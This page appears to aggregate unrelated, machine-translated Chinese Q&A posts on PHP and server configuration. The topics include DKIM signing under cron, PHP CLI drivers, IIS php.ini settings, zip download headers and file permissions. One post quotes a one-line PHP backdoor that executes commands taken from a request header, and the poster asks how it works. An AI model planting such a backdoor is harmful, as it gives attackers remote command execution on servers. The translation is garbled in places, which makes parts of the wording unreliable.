我使用opendkim(centos)在我的服务器上设置了dkim。 当PHP执行邮件命令(在网站上,例如forget.php)。 它发送一封与DKIM签名的电子邮件。 但我也设置了一个cron作业来运行mailcron.php发送电子邮件。 我通过键入crontab -e设置cron [ENTER] * / 5 * * * * php -q /var/www/html/mailcron.php [保存] 从cron日志输出 Jul 21 03:15:01 veepiz crond[3819]: (root) CMD (/etc/webmin/status/monitor.pl) Jul 21 03:15:01 veepiz crond[3820]: (root) CMD (/etc/webmin/virtual-server/collectinfo.pl) Jul 21 03:15:01 veepiz crond[3821]: (root) CMD (php -q /var/www/html/mailcron.php) 为什么使用cron发送的电子邮件没有签名,而那些直接从网站签名运行的邮件。 <?php set_time_limit(0); error_reporting(E_ALL); $dbserver='localhost'; $dbuser='cccc'; $dbpassword='xxxx'; $dbname='veepiz'; $homepath="http://www.veepiz.com"; $supportemail="[email protected]"; […]
我试图在我的新Macbook Pro上运行Symfony,但是我没有办法让它与命令行脚本一起工作。 每个与数据库连接相关的symfony任务都会出现以下消息: "Couldn't locate driver named mysql" 所以我尝试从交互式PHP命令行脚本testingMySQL。 没有运气那里。 php > mysql_connect(); PHP Fatal error: Call to undefined function mysql_connect() in php shell code on line 1 但是在浏览器中运行mysql_connect函数确实有效。 我已经发现php使用不同的php.ini cli脚本,但我没有运气编辑,以使用mysql命令。 有人知道这里有什么错吗? 提前致谢! 顺便说一句,我不使用MAMP或类似的东西,只是标准的PHP安装从OSX雪豹5.3+和安装MySQL。
我在Windows Server 2008上运行PHP 5.3,FastCGI和IIS 7.我有一个网站,我想configuration它自己的php.ini设置,但事情没有按预期工作。 我正在关注这里的教程。 这是我迄今为止所做的: 1)用自己的AppPoolconfiguration一个新的网站。 2)从IIS上的网站主页上提供的PHPpipe理器中selectPHP 5.3.6(不是设置PHP全球版本的Web服务器主页) 3)将以下行添加到位于system32 / inetsrv / config的applicationHost.config文件部分 <application fullPath="C:\Program Files (x86)\PHP\v5.3\php-cgi.exe" arguments="-d open_basedir=C:\inetpub\wwwroot\kickasswebsite.com" maxInstances="4" idleTimeout="300" activityTimeout="30" requestTimeout="90" instanceMaxRequests="200" protocol="NamedPipe" queueLength="1000" flushNamedPipe="false" rapidFailsPerMinute="10"> <environmentVariables> <environmentVariable name="PHPRC" value="c:\inetpub\wwwroot\kickasswebsite.com" /> </environmentVariables> </application> 4)然后我创build一个php.ini文件,位于C:\ inetpub \ wwwroot \ kickasswebsite.com(网站根目录) register_globals = on 5)然后运行test.php,它只是输出phpinfo()返回的所有方法。 在这一点上,我注意到register_globals = off(应该是)的全局设置,但是register_globals = off的本地设置,尽pipe我在我在网站根目录创build的php.ini文件中指定了不同的设置。 而且,我在php.ini的输出中看到了这些设置 Configuration File […]
我在apache中为静态文件设置了一个虚拟主机。 所以我不会添加一个PHP处理程序,这很好。 但是,是否有可能configuration虚拟主机接受只有JPG,GIF和PNG的请求,或至less抛出404的任何PHP文件请求? 谢谢
我在主机上find了一个php后门程序。 <? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?> 我看到访问日志中的请求,该PHP文件是POST请求,但我不知道该variables的SETENV如何设置; 有人可以解释如何设置这样的variables,如果可能的话,我可以在服务器端限制/禁止设置这些variables。 谢谢 -H。
我试图让我们的用户能够下载一个使用php强制下载的zip文件。 我在下载完成时遇到了麻烦,事实certificatezip文件被压缩并发送到浏览器,然后内容长度标题会在下载完成之前停止下载(因为压缩zip文件会使文件变大)所以我把这个添加到我的代码中: if(ini_get('zlib.output_compression')) { ini_set('zlib.output_compression', 'Off'); } 添加完后,可以打开下载的zip文件,但Content-Length文件头不再被发送。 我检查了使用萤火虫发送的标题,下载不再有进度条。 我不确定是否下载正在工作,因为它们不再被gzip压缩,或者由于内容长度头不再被发送(而且更大的gzip文件正在被完全下载)。 我也想知道为什么添加这三行会导致内容长度标题消失? 这里是强制下载的部分: if(ini_get('zlib.output_compression')) { ini_set('zlib.output_compression', 'Off'); } // Display the download ob_end_clean(); header('Content-Description: File Transfer'); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="'.$name.'.zip"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($archive)); flush(); readfile($archive);
好的,所以我使用macports在我的OS X上安装了php5和apache2。 PHP是从terminal运行良好,因为是Apache。 我编辑了我的httpd.conf文件来添加以下内容: LoadModule php5_module modules/libphp5.so AddType application/x-httpd-php .php [I have also tried AddHandler here to no avail] <IfModule dir_module> DirectoryIndex index.php index.html </IfModule> Apache将redirect到本地根目录下的index.html文件,但不会redirect到index.php。 它只是显示目录中的文件列表,点击index.php将只输出明文的文件内容。 就好像我的httpd.conf更改没有被读取。 但是我已经search过了,没有其他版本的httpd.conf存储在我的系统的任何地方,在/ opt / local / apache2 / conf /文件夹中有一个名为“httpd.conf.bak”的文件。 谁能帮忙?
我有一个Windows Server 2008框(IIS 7)上的一个PHP脚本定期运行,以下载远程XML文件并将其存储在服务器上。 此脚本(以前用于成功运行)现在正在失败,并显示以下错误: Warning: fopen(C:\inetpub\wwwroot\alan\html\xml) [function.fopen]: failed to open stream: Permission denied in C:\inetpub\wwwroot\alan\html\helpers\weather_proxy.php on line 22 如果它很重要,我所做的唯一更改就是将此目录( alan下的所有内容)切换为Git存储库的已检出副本。 我已经尝试或检查了: 目录/文件权限 – 我已经远远地控制了每个人,从c:\ inetpub \ wwwroot \ alan开始,一直到文件本身一直工作,以防权限不被正确地inheritance。 对于它的价值,这也包括脚本本身。 安全模式被禁用。 我错过了什么吗? 我提到Git checkout的原因是,如果我在这个目录中打开一个Git shell,它会报告-rw-r–r–作为我试图写入的文件的有效权限。 chmod这个文件什么也不做,根据bash ls读出,但根据Windows文件属性对话框报告,Everyone拥有完全控制权限。 我错过了什么明显的? 编辑:我应该指出,当在命令行以及通过Web服务器交互运行脚本时都会发生此错误。
可能重复: 没有启用日志处理 – 打开stderr日志logging找不到 我试图设置一个Cron作业,运行一个.php文件,将自动化客户端电子邮件通信。 我通过cPanel创build了.php文件和Cron作业。 一切工作正常,因为我得到我的testing电子邮件,因为我需要时,我需要它,但我也得到一个额外的服务器电子邮件的每一个发送与以下内容: 未启用日志处理 – 启用stderr日志logging找不到模块(MTA-MIB):在(无)第1行找不到模块(NETWORK-SERVICES-MIB):在第1行(无) Cron工作如下: 0.3 * * * * php -q /home/USERNAME/public_html/cron/test.php 我在这个网站做了研究,找不到解决scheme。 我也与我的托pipe公司聊天,并相信他最好的build议是转介我到这个网站。
在生产环境服务器上使用–enable-debug编译php是否安全? 这可能是后果?